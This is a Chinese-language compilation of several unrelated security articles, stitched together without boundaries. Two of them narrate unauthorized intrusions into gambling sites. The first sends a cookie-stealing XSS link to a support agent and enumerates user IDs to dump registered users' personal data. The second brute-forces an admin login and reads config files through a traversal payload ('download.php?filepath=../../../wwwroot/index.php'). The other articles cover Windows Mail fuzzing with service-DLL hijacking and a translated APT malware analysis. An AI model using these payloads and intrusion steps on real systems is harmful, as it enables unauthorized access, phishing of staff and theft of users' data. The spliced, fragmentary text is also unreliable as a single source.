        另一个是cookie里面的，把sessionid改了，也能直接出现在页面的html源码；和上面第一个类似，都可以构造script执行自己的js代码；不过由于不知道后台源码，不能确定这里是否是存储型xss，也不能通过构造url诱骗别人点击，我个人觉得意义不大，这里不再验证；

  v2ble0hlq4c12842.png

由于目前还无法登陆后台，其他xss是否是存储型还不确定，现阶段暂不继续验证其他xss漏洞；

  vxshoswky2e12849.png

（2）登陆界面抓包，用户名和密码居然明文传输，WTF.......

 0hrsjdimstp12852.png

        放过后，又抓到新包，放入repeater尝试：里面有个字段captcha是验证码，删掉后服务器任然会执行，并且不会提示验证码错误，而是用户名或密码错误，省了不少事；先用正确的账号测试，发现返回的status是Y，一切正常；

   1jjhwgbuce112855.png

        然后开始用 单引号、双引号、括号、') or 1=1 -- qwe 等各种sql注入的payload尝试，返回都如下：

　w2a45ui4mtq12858.png

    右边那一串native编码解码后为: “请输入4-15个字元, 仅可输入英文字母以及数字的组合”； 看来是有意做了过滤，只能输入字母和数字，并且不能输入任何特殊符号，这里大概率不存在sql注入；（有些站点前端页面也有说说明，并且实在后台服务器端检验，不是再前端用js检验，想用burp抓包后改字段也不行）

    5z4yz5a12gr12861.png

   （3）平行/垂直越权：有些站点登陆后，cookie里面会带上各种id，比如uid=123、groupid=456、telno=135000387465等等，很容易看出字段的含义，并且更改数值后看到其他用户甚至管理员的数据；但这里的cookie都是各种session，剩下各种数字的字段无法看出啥含义，用burp尝试不同的数值都返回status:N，这条路也走不通；

　（4）0元支付：在支付界面抓包，把request包的内容解码，发现里面又sign字段，会对其他字段做校验，改金额的话需要逆向校验算法，再重新计算sign值，这里暂时放弃；PS：这里终于暴露了user_id；

g5xjttk1rlw12863.png

3、通过xray扫描，发现一个resin-viewfile漏洞。

    np3vh4edxst12865.png

    根据扫描提示，改file=xxxx的内容，果然能查到部分文件，比如下面的配置文件；

    l0ngi4j4ny012867.png

    ps3q2pczopa12869.png

 　2ftklt51ae212871.png

 　这个漏洞类似SSRF，可以遍历内网文件；遂在github找漏洞利用的工具，同时用burp跑字典挨个穷举目录和文件，但只发现了如下文件，都是常规的文件和路径，没找到预期的各种配置（比如账号）文件；

    nqn3wrig45p12873.png

 　想遍历C盘，貌似有防护；

     k0mydxmterk12874.png

       这个漏洞暂时放弃；

4、截至目前，已发现能利用的只有XSS，而且还是反射型的，只能先找个xss平台生成一个偷cookie的script标签，嵌入到有xss漏洞的url，然后找到客服MM，诱骗其点击；结果客服MM不但没上当，还发我新链接，让我重新试试新的站点，WTF.........

 　 好吧，重试就重试，于是继续搞新站点；用账号登陆新站点后，主要找和用户有交互的页面（这里涉及大量传参，可以改动的空间很大，出现漏洞的几率比静态网页大很多）；花了大量时间，查看了无数链接后，貌似出现了转机，如下：

       mlutsxwcwek12875.png

　　这里返回了一个json串，里面有账号名、电话、昵称、权限等各种敏感数据，url里面还有client关键词，难道这是查看用户信息的接口？马上用burp抓包，更改url中纯数字的参数（纯数字意味着索引，而且容易穷举），果然不出所料，炸出部分注册用户的信息：

　　wsd3go1n3va12876.png

   5、另外，通过xray还发现了CORS漏洞（数以CSRF的一种），也要想办法诱骗客户、管理员或平台其他的用户点击，这里暂时不深入；

   ldvv2kqou5l12877.png

        这个菠菜站点总结：1、用户在form的输入做了严格限制，sql注入和xss都屏蔽   2、resin漏洞不痛不痒，拿不到敏感数据  3、支付：有sign字段校验，需要先破解校验算法  4、最终有个页面传参未做校验，通过更改数字类参数的值爆破出了部分用户信息； 5、可能是因为业务原因，前端页面暂时没有找到任何上传文件的地方，目前还找不到上传小马的方法；

参考：1、 https://blkstone.github.io/2017/10/30/resin-attack-vectors/  针对Resin服务的攻击向量整理




转载于原文链接地址： https://www.cnblogs.com/theseventhson/p/13738535.html


HireHackking

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。

挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。

在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。

問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因：

133.png

在上下文切換期間停止模糊器模塊的斷點處理程序

當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例：

14.png

通過Symbolizer生成的覆蓋跟踪日誌示例

這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。

15.png

覆蓋跟踪日誌揭示了上下文切換的原因

上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。

我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。

16.1.png

16.2.png

16.3.png

清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧

查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。

劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=%SystemRoot%\System32\userdataservice.dll

當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll

自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。

17.1.png

17.2.png

17.3.png

清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧

設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。

我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示：

18.png

跳過ESENT!VER:VERSignalCleanup以避免上下文切換

這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。

挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。

我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。

19.png

加載卸載的DLL文件

有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。

20.png

由內存訪問錯誤導致的另一個上下文切換

查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。

21.png

調用虛函數時的內存訪問錯誤

它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示：

22.png

使用TTD確定虛函數的目的地址

為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。

挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。

在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。

重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。

奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。

我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。

有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。

23.png

清單5：獲取RFC822.SIZE並將其保存在數據結構中

在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。

24.1.png

24.2.png

清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE

在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。

因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。

25.1.png

25.2.png

25.3.png

25.4.png

25.5.png

清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE

26.1.png

26.2.png

26.3.png

清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值

清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。

27.1.png

27.2.png

v1指針的GetHeapAddress輸出和堆分配調用堆棧

根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

28.1.png

28.2.png

28.3.png

HireHackking

sl-magic-book-blue-code-1200x600.jpg

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。

初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞：

1.png

漏洞在內部循環中：它使用變量i而不是j

對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞：

2.png

同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置：

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。

在mods.lrc中，我們發現：

三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）；

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置，其參數如下：

受害者ID（例如03072020DD）；

框架版本（最新觀測版本為5.0）；

連續兩次檢測信號之間的間隔時間；

啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表：

6.png

此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。

作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法：

檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）；

使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive；

基於Web的C2服務器；

主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數：

Start：啟動模塊；

Stop：停止模塊；

Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的；

GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）；

GetSettings：返回模塊配置；

模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件：

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe；

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)；

C: \ ProgramData \ System \ \ etwupd.dfg；

之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息：

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。

舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別：

舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立；

舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring；

舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。

至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據：

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb；

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb；

再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的：

3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染；

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E）

14.png

在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC）

15.png

在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2）

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序：

19.png

Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表

11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下：

14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

總結卡巴斯基實驗室的研究人員早在2022年就開始了調查，最終發現CloudWizardAPT活動與兩個相關的大型模塊化框架：CommonMagic和CloudWizard。研究表明，CommonMagic和CloudWizard幕後組織發起的攻擊可以追溯到2008年，那一年首次發現了Prikormka樣本。自2017年以來，類似攻擊就銷聲匿跡了。然而，這兩個活動背後的組織並沒有消停，一直開發他們的工具集並攻擊感興趣的目標。

22.png

HireHackking

信息收集

         正准备开干，有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名，很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧，3306开放，主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试，不出意外，mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。

没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器，瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了，白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下，这个编辑器好像没什么漏洞，思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找，发现订单详情也可下载订单图片。

下载链接：

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？

构造链接尝试一下：

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊，胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件，一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

